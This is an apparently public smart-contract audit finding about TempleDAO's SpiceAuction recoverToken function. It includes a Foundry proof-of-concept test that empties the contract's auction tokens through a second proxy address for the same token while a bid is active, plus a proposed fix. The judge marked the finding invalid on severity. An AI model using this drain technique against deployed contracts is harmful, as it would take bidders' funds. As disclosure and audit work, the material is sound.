TempleGold
TempleDAO
Foundry
25,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

`SpiceAuction::recoverToken` Restrictions on Auction Tokens Are Useless When Working With Proxied Tokens

4rdiii

Summary

The SpiceAuction contract's recoverToken function has a vulnerability that permits the recovery of the auction's own tokens, known as "spice tokens," especially when they are proxied tokens with multiple addresses. This oversight enables the DAO executor, who controls the proxied token, to misuse the function to withdraw funds from the SpiceAuction contract illicitly.

Vulnerability Details

The recoverToken function checks if the token being recovered is the spice or templeGold token and stops the transfer if the auction is not ended yet or if there are unclaimed amounts of auction token yet. However, if the spiceToken is a proxied token with multiple delegated addresses, the owner can simply call recoverToken for a second address and empty funds. Although the DAOExecutor contract is trusted to some degree, since it is a governance contract it still can't be completely trusted, and it's safer to change this so that no one can empty the main Auction token.

function recoverToken(
address token,
address to,
uint256 amount
) external override onlyDAOExecutor {
if (to == address(0)) {
revert CommonEventsAndErrors.InvalidAddress();
}
if (amount == 0) {
revert CommonEventsAndErrors.ExpectedNonZero();
}
​
@> if (token != spiceToken && token != templeGold) {
@> emit CommonEventsAndErrors.TokenRecovered(to, token, amount);
@> IERC20(token).safeTransfer(to, amount);
@> return;
@> }
.
.
.
}

Impact

Users' funds can be stolen, affecting participants who bid or contribute to auctions.
The auction mechanism may be compromised, preventing rightful winners from claiming prizes or receiving rewards.

Proof of Concept

POC steps To prove this install the [weird-erc20](https://github.com/d-xo/weird-erc20) library using forge install and import it inside `SpiceAuction.t.sol`:
forge install d-xo/weird-erc20 --no-commit

Make following changes to SpiceAuctionTestBase contract defining two token proxies and one main proxied token, Also add _getAuctionConfig2 internal function for case that isTempleGoldAuctionToken = false and spiceToken is the Auction Token.

contract SpiceAuctionTestBase is TempleGoldCommon {
ISpiceAuction public spice;
SpiceAuctionFactory public factory;
TempleGold public templeGold;
+ ERC20 tokenProxy1;
+ ERC20 tokenProxy2;
+ ProxiedToken token;
​
function setUp() public {
.
.
.
​
+ function _getAuctionConfig2()
+ internal
+ view
+ returns (ISpiceAuction.SpiceAuctionConfig memory config)
+ {
+ config.duration = 7 days;
+ config.waitPeriod = 2 weeks;
+ config.minimumDistributedAuctionToken = 1 ether;
+ config.starter = address(0);
+ config.startCooldown = 1 hours;
+ config.isTempleGoldAuctionToken = false;
+ ISpiceAuction.ActivationMode mode = ISpiceAuction
+ .ActivationMode
+ .AUCTION_TOKEN_BALANCE;
+ config.activationMode = mode;
+ config.recipient = treasury;
+ }

Finally, add the following test to SpiceAuctionTest test contract: exploit steps:

  1. Create one ProxiedToken with two delegators

  2. Create auction using proxy address 1

  3. Auction starts

  4. Alice bids 10 templeGold

  5. Auction still active attempt to recover using proxy address 2, recover is successful and whole contract is emptied from auction tokens

  6. Auction ends

  7. Alice tries to claim but fails to do it because of insufficient funds

function test_recoverToken_spice_Proxy() public {
uint256 bidTokenAmount = 10 ether;
uint256 recoverAmount = 100 ether;
​
vm.startPrank(executor);
// create one ProxiedToken with two delegators
token = new ProxiedToken(1000e18);
tokenProxy1 = ERC20(address(new TokenProxy(payable(address(token)))));
tokenProxy2 = ERC20(address(new TokenProxy(payable(address(token)))));
token.setDelegator(address(tokenProxy1), true);
token.setDelegator(address(tokenProxy2), true);
// deal templeGold to users to bid
dealAdditional(IERC20(templeGold), alice, bidTokenAmount);
// create auction using proxy address 1 and authorize treasury to bid
spice = ISpiceAuction(
factory.createAuction(address(tokenProxy1), NAME_ONE)
);
templeGold.authorizeContract(address(treasury), true);
// deal AuctionToken ( tokenProxy1)
tokenProxy1.transfer(address(spice), recoverAmount);
​
// set config so that isTempleGoldAuctionToken == false
vm.startPrank(daoExecutor);
ISpiceAuction.SpiceAuctionConfig memory _config = _getAuctionConfig2();
spice.setAuctionConfig(_config);
vm.warp(block.timestamp + _config.waitPeriod);
spice.startAuction();
IAuctionBase.EpochInfo memory info = spice.getEpochInfo(1);
​
// // auction started
vm.warp(info.startTime + 1);
// alice bids 10 templeGold
vm.startPrank(alice);
templeGold.approve(address(spice), type(uint).max);
spice.bid(bidTokenAmount);
​
// auction still active attempt to recover using proxy address 2
// recover is successful and whole contract is emptied from auction tokens
vm.startPrank(daoExecutor);
spice.recoverToken(address(tokenProxy2), bob, recoverAmount);
assertEq(token.balanceOf(bob), recoverAmount);
​
// // auction ended
vm.warp(info.endTime + 1);
vm.roll(block.number + 1);
// // after recover users cant claim
vm.startPrank(alice);
vm.expectRevert('insufficient-balance');
spice.claim(1);
}

Tools Used

Manual Review

Recommendations

add the following checks to the recoverToken function to mitigaite this issue, the second check for templeGold is optional becuase it can be trusted. and probably doesnt have proxied addresses.

+ uint256 balanceSpiceBefore = IERC20(spiceToken).balanceOf(address(this));
+ uint256 balancetempleGoldBefore = IERC20(templeGold).balanceOf(address(this));
​
if (token != spiceToken && token != templeGold) {
emit CommonEventsAndErrors.TokenRecovered(to, token, amount);
IERC20(token).safeTransfer(to, amount);
+ if (IERC20(spiceToken).balanceOf(address(this)) < balanceSpiceBefore) {
+ revert('balance of spice changed.');
+ }
+ if (
+ IERC20(templeGold).balanceOf(address(this)) < balancetempleGoldBefore
+ ) {
+ revert('balance of temple gold changed.');
+ }
return;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.